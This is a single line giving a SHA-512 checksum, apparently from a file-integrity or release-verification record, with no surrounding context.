SHA512cc7da40652209337d2122cafc903d3c11e31b5a37baf2247034e2f3e1de255e58d0e27fc134ce60a6812e6674fd8bc899f2b434dfc1160053f684cf220e6cb11